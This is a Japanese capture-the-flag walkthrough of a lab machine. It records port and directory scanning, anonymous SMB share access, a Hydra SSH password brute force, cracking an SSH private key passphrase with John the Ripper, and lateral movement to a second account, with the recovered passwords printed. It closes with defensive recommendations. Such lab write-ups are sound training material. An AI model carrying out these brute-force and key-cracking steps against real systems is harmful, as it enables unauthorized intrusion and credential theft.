Nmapスキャン結果
実行コマンド:
nmap -sC -sV -oA nmap 10.201.21.162
開いているポートとサービス
| ポート | 状態 | サービス | バージョン / 備考 |
|---|---|---|---|
| 22/tcp | open | SSH | OpenSSH 8.2p1 (Ubuntu 4ubuntu0.13) |
| 80/tcp | open | HTTP | Apache httpd 2.4.41 (Ubuntu) |
| 139/tcp | open | SMB (NetBIOS-SSN) | Samba smbd 4.6.2 |
| 445/tcp | open | SMB (NetBIOS-SSN) | Samba smbd 4.6.2 |
| 8009/tcp | open | AJP13 | Apache JServ Protocol v1.3 |
| 8080/tcp | open | HTTP | Apache Tomcat 9.0.7 |
サービス情報
-
OS推定:Linux (CPE: cpe:/o:linux:linux_kernel)
-
HTTPタイトル:
- Port 80 → “Site doesn’t have a title (text/html)”
- Port 8080 → “Apache Tomcat/9.0.7”
-
SMB設定:
- メッセージ署名:有効だが必須ではない
- NetBIOS名:
BASIC2
考察メモ
- Webサービス(Port 80, 8080)はApacheとTomcatが両方稼働している。
- SMB (139, 445) が開いているため、匿名共有やユーザー列挙を試す価値あり。
- AJP (8009) はTomcat連携用ポートで、脆弱な設定がある場合リモートコード実行の可能性あり。
Dirb スキャン結果(整理)
実行コマンド
dirb http://10.201.21.162 /usr/share/dirb/wordlists/small.txt
スキャン概要
-
ワードリスト:
/usr/share/dirb/wordlists/small.txt
出力の要点
-
development/ディレクトリを発見。==> DIRECTORY: http://10.201.21.162/development/ ---- Entering directory: http://10.201.21.162/development/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. -
その他の有効なディレクトリ/ファイルは
dirbのワードリスト内では発見なし(FOUND: 0)。 -
全体としてダウンロードした候補は
959、実際に見つかった項目は0(ただし上記development/は listable として検出)。
解釈
-
development/が ディレクトリ一覧表示(index listing)可能 になっている点が最も重要。
→ 列挙可能なら中身を直接確認すれば機密ファイルや設定ファイル、メモ的なファイル(パスワード・設定情報など)が見つかる可能性がある。 - それ以外の一般的なディレクトリ(
admin,uploads,login.php等)は今回のワードリストでは検出されなかった/存在しなかった可能性が高い。 - 既に試した通り、ポート80・8080 両方とも手動で確認したが有用なコンテンツは見つからなかった(ただし
development/の中身は未確認)。
development/ ディレクトリ確認結果
発見物
http://10.201.21.162/development/ を確認したところ、以下のファイルが存在しました。
実行したコマンド
# SMB の共有を確認(匿名アクセス)
crackmapexec smb 10.201.21.162 -u '' -p ''
SMB 10.201.21.162 445 BASIC2 [*] Windows 6.1 Build 0 (name:BASIC2) (domain:ec2.internal) (signing:False) (SMBv1:False)
SMB 10.201.21.162 445 BASIC2 [+] ec2.internal\:
SMB 10.201.21.162 445 BASIC2 [+] Enumerated shares
SMB 10.201.21.162 445 BASIC2 Share Permissions Remark
SMB 10.201.21.162 445 BASIC2 ----- ----------- ------
SMB 10.201.21.162 445 BASIC2 Anonymous READ
SMB 10.201.21.162 445 BASIC2 IPC$ IPC Service (Samba Server 4.15.13-Ubuntu)
smbclient -N //10.201.21.162/Anonymous
発見したもの
- SMB の
Anonymous共有が 読み取り可能(Anonymous: READ) であり、staff.txtを取得できた。
取得した staff.txt(抜粋)
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
解釈:
-
staff.txtは運用上の注意書きで、“Jan”(人名/ユーザ名候補)や “Kay” といった名前が本文に出ている。
→ これらはユーザ名やヒントになる可能性がある
SSH ブルートフォース(Hydra)
実行コマンド
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.201.21.162
成功ログ(抜粋)
[22][ssh] host: 10.201.21.162 login: jan password: armando
解説
-
janをターゲットとしたパスワードリスト攻撃により、armandoが見つかった。
jan でログインしてのローカル列挙
SSH 接続
ssh jan@10.201.21.162
基本的な列挙(抜粋)
jan@ip-10-201-21-162:~$ pwd
/home/jan
jan@ip-10-201-21-162:/home$ ls -l
total 12
drwxr-xr-x 2 root root 4096 Apr 23 2018 jan
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 kay
drwxr-xr-x 3 ubuntu ubuntu 4096 Oct 17 19:52 ubuntu
# kay のホームに移動
jan@ip-10-201-21-162:/home/kay$ ls -l
total 4
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
解説
-
/home/kayディレクトリはdrwxr-xr-xのためjanから参照(cd など)ができるが、pass.bakのようにファイル自体はrw-------(所有者のみ)で読み取り不可になっている。 - ただし同ディレクトリ内に
.sshフォルダがあり、中に秘密鍵ファイル(id_rsa)が存在するのを発見した。
暗号化された Private Key の発見とクラッキング準備
鍵の確認(抜粋)
jan@...:/home/kay/.ssh$ ls -la
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
id_rsa は 暗号化(Proc-Type: 4, ENCRYPTED) されていることを確認。
鍵を cracking 用に変換
ssh2john id_rsa > john.txt
john によるパスフレーズクラッキング
sudo john john.txt --wordlist=/usr/share/wordlists/rockyou.txt
john の成功出力(抜粋)
beeswax (id_rsa)
解説
-
ssh2johnで private key を John フォーマットに変換し、johnで wordlist ベースのクラッキングを行った。 - 成功して鍵のパスフレーズが
beeswaxと判明。
鍵を使った kay への横展開(SSH)
実行
接続:
ssh kay@10.201.21.162 -i /home/kay/.ssh/id_rsa
# 鍵のパスフレーズを聞かれるので "beeswax" を入力
成功後のプロンプト
Welcome to Ubuntu 20.04.6 LTS ...
kay@ip-10-201-21-162:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
解説
- 鍵のパスフレーズを解読できたことで、
jan→kayへ認証情報を使った横展開が完了。
取得情報のまとめ(証跡・重要ポイント)
- 初期侵入:
Hydraによりjan:armandoを発見 → SSH ログイン成功。 - ローカル列挙で
kayの.ssh/id_rsa(暗号化)を発見。 -
ssh2john+john(rockyou)でパスフレーズbeeswaxを発見。 - 鍵で
kayに SSH 接続成功。pass.bak(heresareallystrongpasswordthatfollowsthepasswordpolicy$$)を取得。
防御(Blue Team)向け提言
- 公開ファイルの最小化:ホームディレクトリに暗号化した秘密鍵を置かない。最低限のアクセス権限・保管ポリシーを適用。
- 鍵の保護:秘密鍵は適切に保護し、鍵ファイル自体へのアクセスを最小化する(不必要に世界読取可・グループ可にしない)。
- パスワードポリシーと多要素認証:辞書ワードリストで突破され得るパスワードを避け、可能なら多要素認証を導入。
- ログとアラート:短時間で多数の失敗ログインが発生した場合のアラート設定(Hydra 的な攻撃を早期検出)。
- 共有設定の見直し:SMB などで匿名読み取りを許可しない。公開ファイルは可能な限り除外。
